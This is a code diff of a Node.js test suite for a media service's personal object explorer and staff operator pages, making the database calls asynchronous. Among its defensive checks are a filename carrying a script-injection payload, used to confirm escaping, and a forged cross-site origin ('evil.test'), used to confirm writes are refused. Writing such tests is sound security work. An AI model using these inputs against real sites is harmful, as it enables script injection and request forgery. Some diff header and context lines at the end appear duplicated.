+ const page2 = await call('GET', `/api/v2/me/objects?limit=10&cursor=${r.json.next_cursor}`, { token: 'ana' });
+ assert.ok(page2.json.objects.every(o => o.id < r.json.next_cursor));
+ assert.strictEqual((await call('GET', '/api/v2/me/objects?cursor=nope', { token: 'ana' })).status, 400);
+ assert.strictEqual((await call('GET', '/api/v2/me/objects?limit=1000', { token: 'ana' })).json.limit, 100);
+ assert.strictEqual((await call('GET', '/api/v2/me/objects?status=gone', { token: 'ana' })).status, 400);
+ const byDefault = await all('ana');
+ assert.ok(!byDefault.some(o => o.lifecycle_status === 'deleted') && byDefault.length === anaIds.length - 1, 'deleted objects only on request');
+ console.log(`✅ scoping + pagination: ${anaIds.length} of Ana's objects over pages of 7, none of Ben's; another person's id is a 404`);
- // ── Filters ──
- r = await call('GET', '/api/v2/me/objects?status=uploading', { token: 'ana' });
- assert.deepStrictEqual(r.json.objects.map(o => o.id).sort(), [multi, stored, streaming].sort());
- r = await call('GET', '/api/v2/me/objects?app=tools', { token: 'ana' });
- assert.deepStrictEqual(r.json.objects.map(o => o.id), [inTools]);
- assert.deepStrictEqual([r.json.objects[0].tenant.name, r.json.objects[0].app_id], ['OpenVibe.Tools', 'tools']);
- r = await call('GET', '/api/v2/me/objects?kind=avatar', { token: 'ana' });
- assert.deepStrictEqual(r.json.objects.map(o => [o.id, o.namespace]), [[avatar, 'live.avatars']]);
- r = await call('GET', '/api/v2/me/objects?q=NOTE-2', { token: 'ana' });
- assert.deepStrictEqual(r.json.objects.map(o => o.filename).sort(), ['note-2.txt', 'note-20.txt', 'note-21.txt', 'note-22.txt', 'note-23.txt', 'note-24.txt', 'note-25.txt', 'note-26.txt', 'note-27.txt', 'note-28.txt', 'note-29.txt']);
- r = await call('GET', `/api/v2/me/objects?q=${benIds[0]}`, { token: 'ana' });
- assert.deepStrictEqual(r.json.objects, [], 'searching for someone else\'s id finds nothing');
- r = await call('GET', '/api/v2/me/objects?q=ben-', { token: 'ana' });
- assert.deepStrictEqual(r.json.objects, []);
- console.log('✅ filters: status, tenant, kind, search (name, title, type, id), all within her own objects');
+ // ── Filters ──
+ r = await call('GET', '/api/v2/me/objects?status=uploading', { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects.map(o => o.id).sort(), [multi, stored, streaming].sort());
+ r = await call('GET', '/api/v2/me/objects?app=tools', { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects.map(o => o.id), [inTools]);
+ assert.deepStrictEqual([r.json.objects[0].tenant.name, r.json.objects[0].app_id], ['OpenVibe.Tools', 'tools']);
+ r = await call('GET', '/api/v2/me/objects?kind=avatar', { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects.map(o => [o.id, o.namespace]), [[avatar, 'live.avatars']]);
+ r = await call('GET', '/api/v2/me/objects?q=NOTE-2', { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects.map(o => o.filename).sort(), ['note-2.txt', 'note-20.txt', 'note-21.txt', 'note-22.txt', 'note-23.txt', 'note-24.txt', 'note-25.txt', 'note-26.txt', 'note-27.txt', 'note-28.txt', 'note-29.txt']);
+ r = await call('GET', `/api/v2/me/objects?q=${benIds[0]}`, { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects, [], 'searching for someone else\'s id finds nothing');
+ r = await call('GET', '/api/v2/me/objects?q=ben-', { token: 'ana' });
+ assert.deepStrictEqual(r.json.objects, []);
+ console.log('✅ filters: status, tenant, kind, search (name, title, type, id), all within her own objects');
- // ── Upload progress, derivatives, holds ──
- const byId = Object.fromEntries(anaAll.map(o => [o.id, o]));
- assert.deepStrictEqual(
- (({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }) => ({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }))(byId[multi].upload),
- { method: 'multipart', waiting_for: 'parts', received_bytes: 2 * 1048576, parts_received: 2, parts_expected: 4, declared_bytes: 4 * 1048576, percent: 50 });
- assert.ok(byId[multi].upload.expires_at && byId[multi].upload.session_expires_at, 'when the upload fails if unfinished');
- assert.deepStrictEqual([byId[stored].upload.waiting_for, byId[stored].upload.received_bytes, byId[stored].upload.percent], ['complete', 300, 100]);
- assert.deepStrictEqual([byId[streaming].upload.streaming, byId[streaming].upload.received_bytes, byId[streaming].upload.percent], [true, 250, 25]);
- assert.strictEqual(byId[anaReady[0]].upload, null);
- assert.strictEqual(byId[anaReady[0]].derivatives, 1, 'the waveform counts as a derivative');
- assert.strictEqual(byId[anaReady[3]].derivatives, 0);
- assert.strictEqual(byId[anaReady[1]].held, true);
- assert.strictEqual(byId[failed].failure, 'upload_expired');
- assert.ok(byId[deleted].deleted.retention_until && byId[deleted].deleted.purged === false);
- assert.strictEqual(byId[tricky].public_url, `https://media.test/o/${tricky}`, 'a public ready object links to its bytes');
- assert.strictEqual(byId[anaReady[0]].public_url, null, 'a private one does not');
- assert.deepStrictEqual(byId[anaReady[0]].readiness, { metadata: true, bytes_verified: true, playable: false, reason: 'not_playback_kind' });
- const listText = JSON.stringify(anaAll);
- for (const secret of ['SECRET-HOLD-REASON', 'SECRET-NOTE', 'staff:x', 'evidence', process.env.OBJECTS_PATH, 'canonical_key']) {
- assert.ok(!listText.includes(secret), `the owner's view never carries ${secret}`);
- }
- r = await call('GET', `/api/v2/me/objects/${anaReady[0]}`, { token: 'ana' });
- assert.strictEqual(r.status, 200);
- assert.deepStrictEqual(r.json.derivative_list.map(d => [d.id, d.name, d.kind, d.mine]), [[wave, 'waveform', 'asset', true]]);
- assert.deepStrictEqual(r.json.locations.map(l => [l.provider, l.state, l.canonical]), [['local', 'present', false]]);
- assert.deepStrictEqual(r.json.jobs, []);
- r = await call('GET', `/api/v2/me/objects/${wave}`, { token: 'ana' });
- assert.deepStrictEqual(r.json.source, { id: anaReady[0], relation: 'derived_from' });
- r = await call('GET', `/api/v2/me/objects/${anaReady[2]}`, { token: 'ana' });
- assert.deepStrictEqual(r.json.jobs.map(j => [j.id, j.type, j.status, j.error_code]), [['mjob_TESTFAILED', 'object.sprite', 'failed', 'no_video']]);
- assert.ok(!JSON.stringify(r.json).includes('ffmpeg exited'), 'job error text stays with operators');
- console.log('✅ uploads (multipart parts, stored bytes, a PUT streaming), derivatives, holds (only whether), no keys or staff notes');
+ // ── Upload progress, derivatives, holds ──
+ const byId = Object.fromEntries(anaAll.map(o => [o.id, o]));
+ assert.deepStrictEqual(
+ (({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }) => ({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }))(byId[multi].upload),
+ { method: 'multipart', waiting_for: 'parts', received_bytes: 2 * 1048576, parts_received: 2, parts_expected: 4, declared_bytes: 4 * 1048576, percent: 50 });
+ assert.ok(byId[multi].upload.expires_at && byId[multi].upload.session_expires_at, 'when the upload fails if unfinished');
+ assert.deepStrictEqual([byId[stored].upload.waiting_for, byId[stored].upload.received_bytes, byId[stored].upload.percent], ['complete', 300, 100]);
+ assert.deepStrictEqual([byId[streaming].upload.streaming, byId[streaming].upload.received_bytes, byId[streaming].upload.percent], [true, 250, 25]);
+ assert.strictEqual(byId[anaReady[0]].upload, null);
+ assert.strictEqual(byId[anaReady[0]].derivatives, 1, 'the waveform counts as a derivative');
+ assert.strictEqual(byId[anaReady[3]].derivatives, 0);
+ assert.strictEqual(byId[anaReady[1]].held, true);
+ assert.strictEqual(byId[failed].failure, 'upload_expired');
+ assert.ok(byId[deleted].deleted.retention_until && byId[deleted].deleted.purged === false);
+ assert.strictEqual(byId[tricky].public_url, `https://media.test/o/${tricky}`, 'a public ready object links to its bytes');
+ assert.strictEqual(byId[anaReady[0]].public_url, null, 'a private one does not');
+ assert.deepStrictEqual(byId[anaReady[0]].readiness, { metadata: true, bytes_verified: true, playable: false, reason: 'not_playback_kind' });
+ const listText = JSON.stringify(anaAll);
+ for (const secret of ['SECRET-HOLD-REASON', 'SECRET-NOTE', 'staff:x', 'evidence', process.env.OBJECTS_PATH, 'canonical_key']) {
+ assert.ok(!listText.includes(secret), `the owner's view never carries ${secret}`);
+ }
+ r = await call('GET', `/api/v2/me/objects/${anaReady[0]}`, { token: 'ana' });
+ assert.strictEqual(r.status, 200);
+ assert.deepStrictEqual(r.json.derivative_list.map(d => [d.id, d.name, d.kind, d.mine]), [[wave, 'waveform', 'asset', true]]);
+ assert.deepStrictEqual(r.json.locations.map(l => [l.provider, l.state, l.canonical]), [['local', 'present', false]]);
+ assert.deepStrictEqual(r.json.jobs, []);
+ r = await call('GET', `/api/v2/me/objects/${wave}`, { token: 'ana' });
+ assert.deepStrictEqual(r.json.source, { id: anaReady[0], relation: 'derived_from' });
+ r = await call('GET', `/api/v2/me/objects/${anaReady[2]}`, { token: 'ana' });
+ assert.deepStrictEqual(r.json.jobs.map(j => [j.id, j.type, j.status, j.error_code]), [['mjob_TESTFAILED', 'object.sprite', 'failed', 'no_video']]);
+ assert.ok(!JSON.stringify(r.json).includes('ffmpeg exited'), 'job error text stays with operators');
+ console.log('✅ uploads (multipart parts, stored bytes, a PUT streaming), derivatives, holds (only whether), no keys or staff notes');
- // ── Usage ──
- r = await call('GET', '/api/v2/me/usage', { token: 'ana' });
- assert.strictEqual(r.status, 200);
- const u = r.json;
- const sum = (list) => list.reduce((a, id) => a + Number(model.getObject(id).size_bytes), 0);
- const readyLive = [...anaReady, tricky, wave];
- assert.strictEqual(u.totals.stored_bytes, sum([...readyLive, avatar, inTools]));
- assert.strictEqual(u.totals.objects, anaIds.length - 1, 'deleted objects are not counted as objects');
- assert.deepStrictEqual(u.totals.by_status.uploading, { objects: 3, bytes: 4 * 1048576 + 300 + 1000 });
- assert.deepStrictEqual(u.totals.by_status.deleted, { objects: 1, bytes: 40 });
- assert.deepStrictEqual(u.tenants.map(t => t.app_id), ['live', 'tools']);
- const live = u.tenants[0];
- assert.deepStrictEqual(live.namespaces.map(n => n.namespace), ['live', 'live.avatars']);
- assert.strictEqual(live.namespaces[0].stored_bytes, sum(readyLive));
- assert.strictEqual(live.namespaces[1].stored_bytes, 500);
- assert.strictEqual(u.tenants[1].stored_bytes, 2048);
- assert.strictEqual(u.quotas, null);
- assert.ok(!/quota_bytes|quota_objects|used_bytes/.test(JSON.stringify(u)), 'no tenant quota or tenant totals');
- const ub = (await call('GET', '/api/v2/me/usage', { token: 'ben' })).json;
- assert.strictEqual(ub.totals.stored_bytes, 3 * 999999 + 1, 'Ben\'s usage is his own');
- console.log('✅ usage: her objects and bytes per tenant and namespace, by status; no quotas');
+ // ── Usage ──
+ r = await call('GET', '/api/v2/me/usage', { token: 'ana' });
+ assert.strictEqual(r.status, 200);
+ const u = r.json;
+ const sum = async (list) => { let a = 0; for (const id of list) a += Number((await model.getObject(id)).size_bytes); return a; };
+ const readyLive = [...anaReady, tricky, wave];
+ assert.strictEqual(u.totals.stored_bytes, await sum([...readyLive, avatar, inTools]));
+ assert.strictEqual(u.totals.objects, anaIds.length - 1, 'deleted objects are not counted as objects');
+ assert.deepStrictEqual(u.totals.by_status.uploading, { objects: 3, bytes: 4 * 1048576 + 300 + 1000 });
+ assert.deepStrictEqual(u.totals.by_status.deleted, { objects: 1, bytes: 40 });
+ assert.deepStrictEqual(u.tenants.map(t => t.app_id), ['live', 'tools']);
+ const live = u.tenants[0];
+ assert.deepStrictEqual(live.namespaces.map(n => n.namespace), ['live', 'live.avatars']);
+ assert.strictEqual(live.namespaces[0].stored_bytes, await sum(readyLive));
+ assert.strictEqual(live.namespaces[1].stored_bytes, 500);
+ assert.strictEqual(u.tenants[1].stored_bytes, 2048);
+ assert.strictEqual(u.quotas, null);
+ assert.ok(!/quota_bytes|quota_objects|used_bytes/.test(JSON.stringify(u)), 'no tenant quota or tenant totals');
+ const ub = (await call('GET', '/api/v2/me/usage', { token: 'ben' })).json;
+ assert.strictEqual(ub.totals.stored_bytes, 3 * 999999 + 1, 'Ben\'s usage is his own');
+ console.log('✅ usage: her objects and bytes per tenant and namespace, by status; no quotas');
- // ── The page, without JavaScript ──
- r = await call('GET', '/me', { cookie: 'ana' });
- assert.strictEqual(r.status, 200);
- const rows = r.text.match(/<tr data-id="med_/g) || [];
- assert.strictEqual(rows.length, 25, 'the first page of objects is in the HTML');
- assert.ok(r.text.includes('Signed in as <strong>@ana</strong>'));
- assert.ok(r.text.includes('<script>alert(1)</script>.txt') && !r.text.includes('<script>alert(1)'), 'names are escaped');
- const next = /id="me-next" rel="next" href="([^"]+)"/.exec(r.text);
- assert.ok(next && /cursor=med_/.test(next[1]) && !/me-next[^>]*hidden/.test(r.text.slice(r.text.indexOf('id="me-next"') - 40, r.text.indexOf('id="me-next"') + 200)), 'a next-page link');
- assert.ok(/<script src="\/me\/app\.js\?v=[0-9a-f]{12}" defer><\/script>/.test(r.text), 'the enhancement is a same-origin script');
- assert.ok(r.text.includes('Read-only.') && r.text.includes('class="grid stack usage"') && r.text.includes('live.avatars'));
- assert.ok(r.text.includes('<progress max="100" value="50"'), 'upload progress without JavaScript');
- for (const b of benIds) assert.ok(!r.text.includes(b));
- assert.ok(/<label for="f-q">/.test(r.text) && /<caption class="sr">/.test(r.text), 'labelled filters, captioned tables');
- assert.ok(!/\bfree\b/i.test(r.text), 'no cost claims in served HTML');
- assert.ok(r.text.includes('"menu":{"before":[{"id":"media-mine","label":"Your media","href":"/me"'), 'the account menu links /me');
- assert.ok(!r.text.includes('href="/me/ops"'), 'no operator link for a user');
- assert.ok((await call('GET', '/me', { cookie: 'admin' })).text.includes('href="/me/ops"'), 'staff get one');
- r = await call('GET', next[1].replace(/&/g, '&'), { cookie: 'ana' });
- assert.strictEqual(r.status, 200);
- assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, anaIds.length - 1 - 25, 'the second page');
- assert.ok(r.text.includes('>Newest</a>'));
- r = await call('GET', '/me/?kind=avatar&app=live', { cookie: 'ana' });
- assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, 1, '/me/ and filters as a GET form');
- assert.ok(r.text.includes('<option value="avatar" selected>'));
- r = await call('GET', `/me/objects/${anaReady[0]}`, { cookie: 'ana' });
- assert.ok(r.status === 200 && r.text.includes('waveform') && r.text.includes('Copies') && r.text.includes('noindex'));
- r = await call('GET', `/me/objects/${multi}`, { cookie: 'ana' });
- assert.ok(r.text.includes('data-upload=') && r.text.includes('/me/app.js'), 'an upload in progress is polled on its page');
- r = await call('GET', '/me/app.js?v=x');
- assert.ok(r.status === 200 && /javascript/.test(r.headers['content-type']) && r.text.includes('/api/v2/me/objects'));
- assert.ok(!/innerHTML/.test(r.text), 'the script builds nodes, never markup');
- console.log('✅ /me without JavaScript: first page, pager, filters, usage, progress; escaped; detail pages');
+ // ── The page, without JavaScript ──
+ r = await call('GET', '/me', { cookie: 'ana' });
+ assert.strictEqual(r.status, 200);
+ const rows = r.text.match(/<tr data-id="med_/g) || [];
+ assert.strictEqual(rows.length, 25, 'the first page of objects is in the HTML');
+ assert.ok(r.text.includes('Signed in as <strong>@ana</strong>'));
+ assert.ok(r.text.includes('<script>alert(1)</script>.txt') && !r.text.includes('<script>alert(1)'), 'names are escaped');
+ const next = /id="me-next" rel="next" href="([^"]+)"/.exec(r.text);
+ assert.ok(next && /cursor=med_/.test(next[1]) && !/me-next[^>]*hidden/.test(r.text.slice(r.text.indexOf('id="me-next"') - 40, r.text.indexOf('id="me-next"') + 200)), 'a next-page link');
+ assert.ok(/<script src="\/me\/app\.js\?v=[0-9a-f]{12}" defer><\/script>/.test(r.text), 'the enhancement is a same-origin script');
+ assert.ok(r.text.includes('Read-only.') && r.text.includes('class="grid stack usage"') && r.text.includes('live.avatars'));
+ assert.ok(r.text.includes('<progress max="100" value="50"'), 'upload progress without JavaScript');
+ for (const b of benIds) assert.ok(!r.text.includes(b));
+ assert.ok(/<label for="f-q">/.test(r.text) && /<caption class="sr">/.test(r.text), 'labelled filters, captioned tables');
+ assert.ok(!/\bfree\b/i.test(r.text), 'no cost claims in served HTML');
+ assert.ok(r.text.includes('"menu":{"before":[{"id":"media-mine","label":"Your media","href":"/me"'), 'the account menu links /me');
+ assert.ok(!r.text.includes('href="/me/ops"'), 'no operator link for a user');
+ assert.ok((await call('GET', '/me', { cookie: 'admin' })).text.includes('href="/me/ops"'), 'staff get one');
+ r = await call('GET', next[1].replace(/&/g, '&'), { cookie: 'ana' });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, anaIds.length - 1 - 25, 'the second page');
+ assert.ok(r.text.includes('>Newest</a>'));
+ r = await call('GET', '/me/?kind=avatar&app=live', { cookie: 'ana' });
+ assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, 1, '/me/ and filters as a GET form');
+ assert.ok(r.text.includes('<option value="avatar" selected>'));
+ r = await call('GET', `/me/objects/${anaReady[0]}`, { cookie: 'ana' });
+ assert.ok(r.status === 200 && r.text.includes('waveform') && r.text.includes('Copies') && r.text.includes('noindex'));
+ r = await call('GET', `/me/objects/${multi}`, { cookie: 'ana' });
+ assert.ok(r.text.includes('data-upload=') && r.text.includes('/me/app.js'), 'an upload in progress is polled on its page');
+ r = await call('GET', '/me/app.js?v=x');
+ assert.ok(r.status === 200 && /javascript/.test(r.headers['content-type']) && r.text.includes('/api/v2/me/objects'));
+ assert.ok(!/innerHTML/.test(r.text), 'the script builds nodes, never markup');
+ console.log('✅ /me without JavaScript: first page, pager, filters, usage, progress; escaped; detail pages');
- // ── Crawlers ──
- r = await call('GET', '/sitemap.xml');
- const locs = [...r.text.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);
- assert.ok(r.status === 200 && locs.length && locs.every(l => !/^https:\/\/media\.test\/me([/?]|$)/.test(l)), 'the sitemap never lists /me');
- r = await call('GET', '/robots.txt');
- assert.ok(/^Disallow: \/me$/m.test(r.text), 'robots.txt keeps crawlers out of /me');
- console.log('✅ /me is not in the sitemap and is disallowed in robots.txt');
+ // ── Crawlers ──
+ r = await call('GET', '/sitemap.xml');
+ const locs = [...r.text.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);
+ assert.ok(r.status === 200 && locs.length && locs.every(l => !/^https:\/\/media\.test\/me([/?]|$)/.test(l)), 'the sitemap never lists /me');
+ r = await call('GET', '/robots.txt');
+ assert.ok(/^Disallow: \/me$/m.test(r.text), 'robots.txt keeps crawlers out of /me');
+ console.log('✅ /me is not in the sitemap and is disallowed in robots.txt');
- // ── Operator views ──
- r = await call('GET', '/api/v2/me/ops', { token: 'ana' });
- assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.denied']);
- assert.strictEqual((await call('GET', '/api/v2/me/ops', { token: 'mod' })).status, 403, 'a global_mod does not hold staff.site.view');
- assert.strictEqual((await call('GET', '/api/v2/me/ops')).status, 401);
- r = await call('GET', '/me/ops', { cookie: 'ana' });
- assert.ok(r.status === 403 && r.text.includes('staff.site.view') && !r.text.includes('mjob_TESTFAILED'));
- r = await call('GET', '/api/v2/me/ops', { token: 'admin' });
- assert.strictEqual(r.status, 200, r.text);
- const rep = r.json;
- assert.strictEqual(rep.scope, 'all');
- assert.deepStrictEqual(rep.jobs.failed.recent.map(j => [j.id, j.error_code, j.error]), [['mjob_TESTFAILED', 'no_video', 'ffmpeg exited 1']]);
- assert.deepStrictEqual(rep.jobs.failed.last_7_days, [{ type: 'object.sprite', error_code: 'no_video', count: 1 }]);
- assert.ok(rep.missing.no_good_copy.objects.some(o => o.id === lost), 'a ready object whose only copy is missing');
- assert.ok(rep.missing.locations.missing_or_corrupt.some(l => l.object_id === lost && l.provider === 'b2'));
- assert.ok(rep.backfill.unprojected && rep.backfill.owner_subject.missing >= 1);
- assert.ok(rep.tiering.objects.some(o => o.origin === 'native') && rep.tiering.sweep && 'pending_offload' in rep.tiering);
- assert.ok(rep.namespaces.some(n => n.namespace === 'live.avatars'));
- r = await call('GET', '/api/v2/me/ops?app=tools', { token: 'admin' });
- assert.deepStrictEqual([r.json.scope, r.json.jobs.failed.total, r.json.namespaces.map(n => n.namespace)], ['tools', 0, ['tools']]);
- r = await call('GET', '/me/ops', { cookie: 'admin' });
- assert.ok(r.status === 200 && r.text.includes('mjob_TESTFAILED') && r.text.includes('action="/me/ops/recompute"') && r.text.includes('noindex'));
- console.log('✅ operator views: staff.site.view only (not users, not global mods); failed jobs, missing media, backfill, tiering, namespaces');
+ // ── Operator views ──
+ r = await call('GET', '/api/v2/me/ops', { token: 'ana' });
+ assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.denied']);
+ assert.strictEqual((await call('GET', '/api/v2/me/ops', { token: 'mod' })).status, 403, 'a global_mod does not hold staff.site.view');
+ assert.strictEqual((await call('GET', '/api/v2/me/ops')).status, 401);
+ r = await call('GET', '/me/ops', { cookie: 'ana' });
+ assert.ok(r.status === 403 && r.text.includes('staff.site.view') && !r.text.includes('mjob_TESTFAILED'));
+ r = await call('GET', '/api/v2/me/ops', { token: 'admin' });
+ assert.strictEqual(r.status, 200, r.text);
+ const rep = r.json;
+ assert.strictEqual(rep.scope, 'all');
+ assert.deepStrictEqual(rep.jobs.failed.recent.map(j => [j.id, j.error_code, j.error]), [['mjob_TESTFAILED', 'no_video', 'ffmpeg exited 1']]);
+ assert.deepStrictEqual(rep.jobs.failed.last_7_days, [{ type: 'object.sprite', error_code: 'no_video', count: 1 }]);
+ assert.ok(rep.missing.no_good_copy.objects.some(o => o.id === lost), 'a ready object whose only copy is missing');
+ assert.ok(rep.missing.locations.missing_or_corrupt.some(l => l.object_id === lost && l.provider === 'b2'));
+ assert.ok(rep.backfill.unprojected && rep.backfill.owner_subject.missing >= 1);
+ assert.ok(rep.tiering.objects.some(o => o.origin === 'native') && rep.tiering.sweep && 'pending_offload' in rep.tiering);
+ assert.ok(rep.namespaces.some(n => n.namespace === 'live.avatars'));
+ r = await call('GET', '/api/v2/me/ops?app=tools', { token: 'admin' });
+ assert.deepStrictEqual([r.json.scope, r.json.jobs.failed.total, r.json.namespaces.map(n => n.namespace)], ['tools', 0, ['tools']]);
+ r = await call('GET', '/me/ops', { cookie: 'admin' });
+ assert.ok(r.status === 200 && r.text.includes('mjob_TESTFAILED') && r.text.includes('action="/me/ops/recompute"') && r.text.includes('noindex'));
+ console.log('✅ operator views: staff.site.view only (not users, not global mods); failed jobs, missing media, backfill, tiering, namespaces');
- // ── Recompute: staff.site.configure, same-origin ──
- db.run("UPDATE media_namespaces SET used_bytes = 0, used_objects = 0, reconciled_at = NULL WHERE namespace = 'live'");
- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin' })).status, 403, 'a cookie-borne write needs this site as its origin');
- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://evil.test' } })).status, 403);
- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { 'sec-fetch-site': 'cross-site', origin: 'https://media.test' } })).status, 403);
- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { token: 'ana' })).status, 403, 'users cannot recompute');
- assert.strictEqual(db.get("SELECT used_bytes FROM media_namespaces WHERE namespace = 'live'").used_bytes, 0, 'nothing ran');
- r = await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://media.test' } });
- assert.strictEqual(r.status, 200, r.text);
- assert.deepStrictEqual([r.json.namespaces, r.json.scope], [db.get('SELECT COUNT(*) AS n FROM media_namespaces').n, 'all']);
- const liveRow = db.get("SELECT * FROM media_namespaces WHERE namespace = 'live'");
- assert.strictEqual(liveRow.used_bytes, namespaces.usage(db.getApp('live'), 'live').used_bytes);
- assert.ok(liveRow.used_bytes > 0 && liveRow.reconciled_at, 'the snapshot is counted again from the rows');
- r = await call('POST', '/me/ops/recompute?app=tools', { cookie: 'admin', headers: { 'sec-fetch-site': 'same-origin', 'content-type': 'application/x-www-form-urlencoded' }, body: 'x=1' });
- assert.deepStrictEqual([r.status, r.headers.location], [303, '/me/ops?app=tools&recomputed=1'], 'the form posts and comes back to the page');
- r = await call('POST', '/api/v2/me/ops/recompute', { token: 'admin' });
- assert.strictEqual(r.status, 200, 'a bearer token is not a cookie: no cross-site risk');
- console.log('✅ recompute: staff.site.configure, same-origin for the cookie, refreshes the snapshot; the page form redirects back');
+ // ── Recompute: staff.site.configure, same-origin ──
+ await db.run("UPDATE media_namespaces SET used_bytes = 0, used_objects = 0, reconciled_at = NULL WHERE namespace = 'live'");
+ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin' })).status, 403, 'a cookie-borne write needs this site as its origin');
+ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://evil.test' } })).status, 403);
+ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { 'sec-fetch-site': 'cross-site', origin: 'https://media.test' } })).status, 403);
+ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { token: 'ana' })).status, 403, 'users cannot recompute');
+ assert.strictEqual((await db.get("SELECT used_bytes FROM media_namespaces WHERE namespace = 'live'")).used_bytes, 0, 'nothing ran');
+ r = await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://media.test' } });
+ assert.strictEqual(r.status, 200, r.text);
+ assert.deepStrictEqual([r.json.namespaces, r.json.scope], [(await db.get('SELECT COUNT(*) AS n FROM media_namespaces')).n, 'all']);
+ const liveRow = await db.get("SELECT * FROM media_namespaces WHERE namespace = 'live'");
+ assert.strictEqual(liveRow.used_bytes, (await namespaces.usage(await db.getApp('live'), 'live')).used_bytes);
+ assert.ok(liveRow.used_bytes > 0 && liveRow.reconciled_at, 'the snapshot is counted again from the rows');
+ r = await call('POST', '/me/ops/recompute?app=tools', { cookie: 'admin', headers: { 'sec-fetch-site': 'same-origin', 'content-type': 'application/x-www-form-urlencoded' }, body: 'x=1' });
+ assert.deepStrictEqual([r.status, r.headers.location], [303, '/me/ops?app=tools&recomputed=1'], 'the form posts and comes back to the page');
+ r = await call('POST', '/api/v2/me/ops/recompute', { token: 'admin' });
+ assert.strictEqual(r.status, 200, 'a bearer token is not a cookie: no cross-site risk');
+ console.log('✅ recompute: staff.site.configure, same-origin for the cookie, refreshes the snapshot; the page form redirects back');
- // ── The app-key twin in the admin routes ──
- r = await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key' });
- assert.strictEqual(r.status, 200, r.text);
- assert.strictEqual(r.json.scope, 'live');
- assert.ok(r.json.namespaces.every(n => n.app_id === 'live'));
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key', headers: { 'x-ov-user-id': '5' } })).status, 403, 'never acting for a user');
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'ana' })).status, 401);
- r = await call('POST', '/api/v1/tools/admin/storage/ops/recompute', { token: 'tools-key' });
- assert.deepStrictEqual([r.status, r.json.scope, r.json.namespaces], [200, 'tools', 1]);
- console.log('✅ /api/v1/:app/admin/storage/ops: the same report for the app key, scoped to its tenant');
+ // ── The app-key twin in the admin routes ──
+ r = await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key' });
+ assert.strictEqual(r.status, 200, r.text);
+ assert.strictEqual(r.json.scope, 'live');
+ assert.ok(r.json.namespaces.every(n => n.app_id === 'live'));
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key', headers: { 'x-ov-user-id': '5' } })).status, 403, 'never acting for a user');
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'ana' })).status, 401);
+ r = await call('POST', '/api/v1/tools/admin/storage/ops/recompute', { token: 'tools-key' });
+ assert.deepStrictEqual([r.status, r.json.scope, r.json.namespaces], [200, 'tools', 1]);
+ console.log('✅ /api/v1/:app/admin/storage/ops: the same report for the app key, scoped to its tenant');
- // ── Routes under /api/v2/me are the explorer's only ──
- r = await call('GET', '/api/v2/me/namespaces', { token: 'ana' });
- assert.deepStrictEqual([r.status, r.json.code], [404, 'media.not_found']);
- console.log('me-explorer: all checks passed');
- } finally {
- server.close();
- try { db.close(); } catch { /* */ }
- fs.rmSync(tmp, { recursive: true, force: true });
- }
-})().catch((e) => { console.error(e); process.exit(1); });
+ // ── Routes under /api/v2/me are the explorer's only ──
+ r = await call('GET', '/api/v2/me/namespaces', { token: 'ana' });
+ assert.deepStrictEqual([r.status, r.json.code], [404, 'media.not_found']);
+ console.log('me-explorer: all checks passed');
+ } finally {
+ server.close();
+ try { await db.close(); } catch { /* */ }
+ fs.rmSync(tmp, { recursive: true, force: true });
+ }
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,60 +8,62 @@ const fs = require('fs');
@@ -8,60 +8,62 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-modevents-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
-});
-const stub = http.createServer((req, res) => { req.resume(); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.statusCode = 404; res.end('{}'); }); });
-
(async () => {
(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const contracts = require('openvibe-contracts');
- const db = require('../server/db/database');
